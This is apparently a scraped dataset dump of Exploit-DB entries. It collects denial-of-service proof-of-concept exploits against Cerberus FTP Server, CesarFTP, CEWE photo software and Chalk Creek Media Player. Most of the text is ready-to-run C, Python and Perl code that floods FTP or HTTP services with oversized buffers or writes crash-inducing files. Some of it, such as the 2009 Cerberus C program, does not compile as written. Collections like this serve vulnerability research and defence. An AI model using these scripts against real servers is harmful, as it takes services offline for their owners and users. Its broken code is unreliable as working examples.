deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20946
Description: Cerberus FTP Server 1.x - Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: windows
Date: 2001-06-21
Author: Cartel

Exploit:
source: https://www.securityfocus.com/bid/2901/info

erberus FTP Server is a free, multi-threaded file transfer utility for Microsoft Windows systems.

There is a buffer overflow in Cerberus FTP Server. The problem occurs when a user is attempting to authenticate. If the login fields(username, password) are filled with an excessive amount of characters(300+) then the affected service will crash. The FTP Server software will need to be restarted to regain normal functionality.

It has also been reported that entering an excessive amount of characters in just the password field will acheive the same result.

Due to the fact that the problem stems from a buffer overflow, there is a possibility that arbitrary code may be executed on the vulnerable host.

This vulnerability does not require any user authentication to exploit. It may be possible for remote users to cause a denial of service or execute arbitrary code on target hosts. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20946.exe
Exploit-DB #1422
Description: Cerberus FTP Server 2.32 - Denial of Service
Type: dos
Platform: windows
Date: 2006-01-16
Author: pi3ch

Exploit:
/*
Cerberus FTP Server 2.32 Denial of Service
original advisory: http://kapda.ir/advisory-210.html
cerberus_232_dos_remote_xpl.c
*/

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define  POCSTR "%s"

int header();
int usage(char *filename);
int remote_connect( char* ip, unsigned short port );

int header() {
printf("\n[i] KAPDA - Computer Security Science Researchers Institute\n\n");
printf("[i] Title:              \tCerberus FTP Server <= v2.32 Dos Exploit\n");
printf("[i] Discovered by:      \tcvh {a] kapda.ir\n");
printf("[i] Exploit by:         \tPi3cH {a] kapda.ir\n");
printf("[i] More info:          \twww.kapda.ir/page-advisory.html\n\n");
return 0;
}

int usage(char *filename) {
printf("[i] Usage:   \t%s HOST PORT\n",filename);
printf("[i] Example: \t%s 127.0.0.1 21\n\n",filename);
exit(0);
}

int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;

memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( "[e] Cannot resolve \"%s\"\n", ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "[e] Socket failed!\n" );
exit(1);
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ==  -1 )
{
printf ( "[e] Failed connecting!\n" );
       exit(1);
}
return ( s );
}


int main(int argc, char *argv[]) {
 int s,i;
 char *request;
 char junk_data[] = "DoS-JUNK-DATA.:(CVH):.\x0d\x0a";
 header();
 if( (argc < 2) )
     usage(argv[0]);
 request = (char *) malloc(1024);
 printf("[r] Connecting to remote host\n");
 s = remote_connect(argv[1],atoi(argv[2]));
 sleep(1);
 printf("[r] Creating buffer\n");
 sprintf(request,POCSTR,junk_data);
 printf("[r] Sending %d bytes of DOS buffer\n",strlen(request));
 for(i=0;i<50000;i++)
  if ( send ( s, request, strlen (request), 0) <= 0 )
  {
          printf("[e] Failed to send buffer\n");
          close(s);
          exit(1);
  }
 sleep(1);
 printf("[s] Exploit Done!\n");
 close(s);
 free(request);
 request = NULL;
 return 0;
}

// milw0rm.com [2006-01-16]
Exploit-DB #9667
Description: Cerberus FTP Server 3.0.3 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-09-14
Author: Single Eye

Exploit:
/*

vulnerab         : Remote Denial of Service 
Command vulnerab : User
Software         : Cerberus FTP Server
Versian          : 3.0.3
website software : http://www.cerberusftp.com

greetz : *Str0ke*

Milw0rm is The best in world

*/


#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#include <stdlib.h>
#include <conio.h>
#pragma comment(lib, "ws2_32.lib")
#define size 520



int main(int argc, char *argv[])
{

	int cer1,cer2,cer3;
	char buffer[size];

  if (argc < 2)
{
   printf("\n\n Cerberus FTP Server V 3.0.3 Remote Denial Of Service Exploit \n\n");
   printf("\n u  : file ip \n");
   printf("\n EX : Cerberus.exe 127.0.0.1 \n");
   exit(-1);
}
  memset(buffer,"A",520);

	WSADATA wsaData;

  if(WSAStartup (MAKEWORD(2,1),&wsaData) != 0)
  {
	  printf("WSAStartup is failed \n");
	  exit(-1);
  }
 	struct hostent * remote;

 remote = gethostbyname(argv[1]);
 if(! remote)
 {
	 cer1 = inet_addr(argv[1]);
 }
 if (!remote) && (cer1 == INADDR_NONE))
 {
	    printf("Unable to resolve %s\n",argv[1]);
        exit(-1);
 }

 cer2 = socket(AF_INET,SOCKET_STREAM,IPPROTO_TCP);
 if(cer2 == INVALID_SOCKET)
 {
	 printf("\n Error On Create Socket \n");
	 exit(-1);
 }

    struct sockaddr_in ftp;
    if (remote != NULL)
   memcpy(&(ftp.sin_addr),remote->h_addr,remote->h_length);
  else
   ftp.sin_addr.s_addr = addr;
  if (remote)
   ftp.sin_family = remote->h_addrtype;
  else
   ftp.sin_family = AF_INET;
  ftp.sin_port=htons(21);

printf("\n Denial of service FTP server %s \n",argv[1]);
printf("\n Sending Packet\n");
Sleep(1000);
printf("\n packet size = %d byte\n" , sizeof(buffer));
printf("\n Please Wait ... \n");

cer3 = connect (cer2, (struct Sockaddr *), &ftp, sizeof (struct Socketaddr_in));
if(cer3 == 0)
{
	printf("\n again please wait...\n");

 Sleep(500);

	printf("\n c0nnect3d\n");


	send(cer2 , buffer , sizeof(buffer) , 0);
	printf("\n\n Cerberus FTP Server Have been Crashed ! \n\n");
}
else 
{
	printf("\n Cerberus FTP Server not listen in port \n");
}

return 0;
}

// milw0rm.com [2009-09-14]
Exploit-DB #9999
Description: Cerberus FTP server 3.0.6 - Denial of Service
Type: dos
Platform: windows
Date: 2009-09-30
Author: Francis Provencher

Exploit:
#####################################################################################

Application: Cerberus FTP 3.0.6

Platforms: Windows XP Professional SP2
Windows Vista SP1

crash:	 YES

Exploitation: Remote DoS

Date: 2009-09-30

Author: Francis Provencher (Protek Research Lab's)

#####################################################################################

1) Introduction
2) Technical details
3) The Code

#####################################################################################

===============
1) Introduction
===============

Cerberus FTP Server is a secure and easy-to-use professional Windows FTP server featuring FIPS 140-2 certified encryption.

(from Cerberus FTP server website)

#####################################################################################

============================
2) Technical details 
============================

Cerberus FTP server Professional
Version 3.0.6
Build date 2009/09/28

#####################################################################################

===========
3) The Code
===========

Proof of concept DoS code;

#!/usr/bin/env python

###################################################################################
#
# Cerberus FTP Server Denial of Service Exploit (Pre Auth)
# Found By: Francis Provencher (Protek Research Lab's)
# Tested On: Windows XPSP2
# Usage: ./script <Target IP>
#
###################################################################################

import socket, sys

def banner():
	print "\n##################################################################"
	print "# #"
	print "# Cerberus FTP Server Denial of Service Exploit (Pre Auth) #"
	print "# Francis Provencher (Protek Researh Lab's) #"
	print "# #"
	print "##################################################################\n"

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s4 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);

buff1 = ("\x41" * 330 );
buff2 = ("\x41" * 520 );
buff3 = ("\x41" * 2230 );

try:
	banner();
	print ("[*] Connecting to target...");
	s1.connect((sys.argv[1] , 21));
	s2.connect((sys.argv[1] , 21));
	s3.connect((sys.argv[1] , 21));
	s4.connect((sys.argv[1] , 21));
	print ("[*] Sending evil stuff...");
	s1.send("USER " + buff1 + "\r\n");
	s2.send("USER " + buff2 + "\r\n");
	s3.send("USER " + buff3 + "\r\n");
	s4.send("USER " + buff1 + "\r\n");
	print ("[*] Success! The server should now be inaccessible");
	s1.close();
	s2.close();
	s3.close();
	s4.close();

except:
	print ("[-] Could not connect to server.");

#####################################################################################
(PRL-2009-09)
Exploit-DB #41596
Description: Cerberus FTP Server 8.0.10.1 - Denial of Service
Type: dos
Platform: windows
Date: 2017-03-13
Author: Peter Baris

Exploit:
# Exploit Title: Cerberus FTP server – Denial of Service
# Date: 2017-03-13
# Exploit Author: Peter Baris
# Vendor Homepage: https://www.cerberusftp.com/
# Software Link: [download link if available]
# Version: 8.0.10.1
# Tested on: Windows Server 2008 R2 Standard x64, Windows 7 Pro SP1 x64 
# CVE : CVE-2017-6367

# 2017-02-27: Vulnerability discovered, Contact to Cerberus Support
# 2017-02-27: Reply received, PoC exploit code sent 
# 2017-02-27: Problematic module identified by the vendor, gSOAP
# 2017-03-02: New version 8.0.10.2 released - https://www.cerberusftp.com/products/releasenotes/
# 2017-03-02: gSOAP module update released  by the vendor and advisory placed https://www.genivia.com/advisory.html
# 2017-03-02: grace period until 13th March
# 2017-03-13: Publishing 

import socket
import sys

try:
    host = sys.argv[1]
    port = 10001
except IndexError:
    print "[+] Usage %s <host>  " % sys.argv[0]
    sys.exit()


exploit = "A"*5004

buffer = "GET /index.html HTTP/1.1\r\n"
buffer+= "Host: "+exploit+host+":"+str(port)+"\r\n"
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\
r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Accept-Encoding: gzip, deflate\r\n"
buffer+="Referer: "+host+":"+str(port)+"\r\n"
buffer+="Connection: keep-alive\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: 5900\r\n\r\n"

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((host,port))
s.send(buffer)
s.close()
Exploit-DB #41620
Description: Cerberus FTP Server 8.0.10.3 - 'MLST' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2017-03-16
Author: Nassim Asrir

Exploit:
[+] Title: Cerberus FTP Server 8.0.10.3 – 'MLST' Remote Buffer Overflow
[+] Credits / Discovery: Nassim Asrir
[+] Author Contact: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/
[+] Author Company: Henceforth
[+] CVE: CVE-2017-6880

Vendor:
===============

https://www.cerberusftp.com/
  
 
Download:
===========

https://www.cerberusftp.com/files/CerberusInstall.exe (32-Bit)
 
 
Vulnerability Type:
===================

Remote Buffer Overflow.


issue:
===================

This problem happens when the Attacker send the bad char "A" in the command "MLST" (2047).
 
POC:
===================
#Simple POC by Nassim Asrir from Henceforth.
import socket
bad_char = "A"*2047
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.81',21))
s.recv(1024)
s.send('USER nassim\r\n')
s.recv(1024)
s.send('PASS mypass\r\n')
s.recv(1024)
s.send('MLST ' + bad_char + '\r\n')
s.close()

https://gist.github.com/Nassim-Asrir/a1bb8479976d4bf6b7c0e63024a46cd6/archive/e76274496bf20a0d3ecbb4b2f6a408166808d03b.zip
 
Tested on:
=============== 

Windows 7 Sp1 (64 Bit)
Exploit-DB #23042
Description: Cerberus FTPServer 1.71/2.1/2.32 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-08-20
Author: real Remoter

Exploit:
source: https://www.securityfocus.com/bid/8452/info

It has been reported that some versions of Cerberus FTP Server may be prone to remote denial of service attacks. The problem is said to occur when the order of a carriage return and line feed are prefixed to a specific command, rather then appended. When this data is interpreted by the FTP server, the application supposedly crashes. The precise technical details regarding where the issue lies and why it occurs are currently unknown. This BID will be updated as further information becomes available. 

  print "Exploit for FTP-Server\n";
  print "   by The real Remoter\n";
  my $usage = "\nftpcrash <IP> <Port>\n";
  die "$usage" unless $ARGV[0] && $ARGV[1];
  use Socket;
  my $remote = $ARGV[0];
  my $port = $ARGV[1];
  my $iaddr = inet_aton($remote);
  my $proto = getprotobyname("tcp");
  my $paddr = sockaddr_in($port, $iaddr);
  socket(SOCK, PF_INET, SOCK_STREAM, $proto);
  connect(SOCK, $paddr) or die "Can't connect to " . $remote;
  print "Sending exploit\n";
  $msg = "\x0d\x0a";
  $msg = $msg . "User Shutdown";
  send(SOCK,$msg, 0) or die "Can't send Exploit";
  sleep(1);
  print "Server Crashed!";
  sleep(1);
  exit;
Exploit-DB #22788
Description: CesarFTP 0.99 g - Remote 'Username' Buffer Overrun
Type: dos
Platform: windows
Date: 2003-03-30
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/7946/info

A buffer overrun vulnerability has been reported for CesarFTP. The problem is said to occur when multiple 'USER' commands are processed within a single session. When the issue is triggered, it may be possible to overwrite sensitive locations in memory. Although unconfirmed, it may be possible to exploit this issue to execute arbitrary code on a target system. 

#!/usr/local/bin/perl
# DOS remote exploit for CesarFtp 0.99g
#It will try to crash CesarFtp Server remotely:)


use Socket;

$ARGC=@ARGV;
if ($ARGC !=1) {
        print "Usage: $0 <host>\n";
        exit;
}


$string="x" x $length;

my($remote,$port,$iaddr,$paddr,$proto,$line);
$remote=$ARGV[0];
$port = "21";

$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname('tcp') or die "Error: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
connect(SOCK, $paddr) or die "Error: $!";
$login1="user /f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/
        f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/
        f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/
        f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/
        f00/\n";

#---------------------------------------------------
print "Sending evil request 1...\n";
print ($login1);
send(SOCK,$login1, 0) or die "Cannot send query: $!";
$login1="user !@#$%^&*()_\n";
print "Sending evil request 2...\n";
print ($login1);
send(SOCK,$login1, 0) or die "Cannot send query: $!";
print "Now if you are lucky the server will crash:)\n"

#End
Exploit-DB #22789
Description: CesarFTP 0.99 g - Remote CWD Denial of Service
Type: dos
Platform: windows
Date: 2003-03-30
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/7950/info

A vulnerability has been reported for CesarFTP. Reportedly, an attacker may crash a target server by supplying excessive data as the argument to the 'CWD' command. This may result in the server hanging, effectively denying service to other legitimate FTP users. 

#!/usr/bin/perl -w
use IO::Socket;

########################################
#            _   _
#      ____ (_) | |__
#     |_  / | | | '_ \
#      / /  | | | |_) |
#     /___| |_| |_.__/
#
#   http://coding.romainl.com/
#
########################################
##
########################################
## tested on CesarFTP 0.99g + WindowsXP Sp1
##
## server : 127.0.0.1
## user   : zib
## pass   : zib
##
##$ perl expl.pl localhost zib zib
##
##server : localhost
##user   : zib
##pass   : zib
##
##[~] prepare to connect...
##[+] connected
##[~] prepare to send data...
##[+] success
##[~] Send CPU Overload Sequence...
##[+] CPU Overload Sequence sent
##$
########################################

if (@ARGV < 3)
{
print "#############################################################\n";
print " CesarFTP 0.99g : CPU Overload\n";
print " by zib  http://coding.romainl.com/ \n";
print " 22/12/03\n";
print "#############################################################\n";
print " Usage:\n";
print " cesar0.99g_dos.pl <host> <user> <pass>\n";
print "\n";
print " <host> - host for attack\n";
print " <user> - a valid ftp user account, could be anonymous\n";
print " <pass> - pass for the login\n";
print "#############################################################";
exit();
}

$server = $ARGV[0];
$user = $ARGV[1];
$pass = $ARGV[2];
$nb   = 10000;

print "\n";
print "server : $server\n";
print "user   : $user\n";
print "pass   : $pass\n";
print "\n";
$i = 0;
print "[~] prepare to connect...\n";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort

=> "21") ||
die "[-] connect failed\n";
print "[+] connected\n";
print "[~] prepare to send data...\n";
print $socket "USER $user\n";
print $socket "PASS $pass\n";
print "[+] success\n";
print "[~] Send CPU Overload Sequence...\n";
print $socket "CWD ";
for($i=0;$i<=$nb;$i=$i+1)
{
 print $socket ".";
}
 print $socket "\n";

print "[+] CPU Overload Sequence sent\n";
Exploit-DB #39274
Description: CesarFTP 0.99g - XCWD Denial of Service
Type: dos
Platform: windows
Date: 2016-01-19
Author: Irving Aguilar

Exploit:
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Exploit Title     	: CesarFTP 0.99g -(XCWD)Remote BoF Exploit
# Discovery by  	    	: Irving Aguilar
# Email			: im.aguilar@protonmail.ch
# Discovery Date    	: 18.01.2016
# Tested Version    	: 0.99g
# Vulnerability Type  : Denial of Service (DoS)
# Tested on OS      	: Windows XP Professional SP3 x86 es

import socket


buffer = 'XCWD ' + '\n' * 667 +'\x90' * 20
target = '192.168.1.73'
port = 21

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((target, port))
print '[*] Target: ' + target
print '[*] Port: ' + str(port)
s.recv(1024)

s.send('USER ftp\r\n')
s.recv(1024)

s.send('PASS ftp\r\n')
s.recv(1024)

s.send( buffer  + '\r\n')
print '[+] Buffer sent'
s.close()
Exploit-DB #46862
Description: CEWE Photo Importer 6.4.3 - '.jpg' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-17
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: CEWE PHOTO IMPORTER 6.4.3 - Denial of Service (PoC)
# Date: 16/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://cewe-photoworld.com/
# Software: https://cewe-photoworld.com/creator-software/windows-download
# Version: 6.4.3
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script 'photoimporter.py',it will create a new file "sample.jpg"
# 2.- Open CEWE PHOTO IMPORTER
# 3.- Select the 'sample.jpg' file created and click 'Import all'
# 4.- Click 'Next' and 'Next', you will see a crash

buffer = "\x41" * 500000

f = open ("sample.jpg", "w")
f.write(buffer)
f.close()
Exploit-DB #46861
Description: CEWE Photoshow 6.4.3 - 'Password' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-17
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: CEWE PHOTO SHOW 6.4.3 - Denial of Service (PoC)
# Date: 16/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://cewe-photoworld.com/
# Software: https://cewe-photoworld.com/creator-software/windows-download
# Version: 6.4.3
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script 'photoshow.py', it will create a new file 'photoshow.txt'
# 2.- Copy the text from the generated photoshow.txt file to clipboard
# 3.- Open CEWE PHOTO SHOW
# 4.- Click 'Upload'
# 5.- Paste clipboard in the field 'Password' and crashed

buffer = "\x41" * 5000

f = open ("photoshow.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #15017
Description: Chalk Creek Media Player 1.0.7 - '.mp3' / '.wma' Denial of Service
Type: dos
Platform: windows
Date: 2010-09-16
Author: Carlos Mario Penagos Hollmann

Exploit:
# Exploit Title: Chalk Creek Media Player 1.0.7 .mp3 and .wma  DOS 
# Date: September 16 2010
# Author: Carlos Mario Penagos Hollmann 
# Software Link: http://download.cnet.com/3001-2139_4-10526196.html?spi=a1e3adfe2f3af811074a43111c901f6c
# Version: 1.0.7
# Tested on: Windows xp sp3 running on VMware Fusion 3.1
# CVE : 


#    ________  _    _________   ____ __ _____   ________
#   / ____/ / | |  / / ____/ | / / //_//  _/ | / / ____/
#  / __/ / /  | | / / __/ /  |/ / ,<   / //  |/ / / __ 
# / /___/ /___| |/ / /___/ /|  / /| |_/ // /|  / /_/ / 
#/_____/_____/|___/_____/_/ |_/_/ |_/___/_/ |_/\____/  

# COLOMBIA presents.............
#
#Carlos Mario Penagos Hollmann A.K.A Elvenking  shogilord@gmail.com
#	
#Trigger:Launch app, File Selection--->Add individual music files..booooom
#works with .wma and .mp3
#
#PEACE TO COLOMBIA no more WAR!!
#

buff = "\x41" * 20000
magic = open("DOS.wma","w")
magic.write(buff)
magic.close()